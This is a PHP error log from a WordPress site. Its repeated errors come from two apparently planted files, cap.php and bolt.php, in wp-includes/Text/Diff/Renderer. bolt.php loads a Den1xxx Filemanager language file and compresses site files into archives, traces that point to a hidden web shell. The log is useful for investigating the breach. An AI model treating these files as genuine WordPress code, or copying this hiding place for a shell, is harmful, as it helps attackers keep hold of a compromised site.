[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
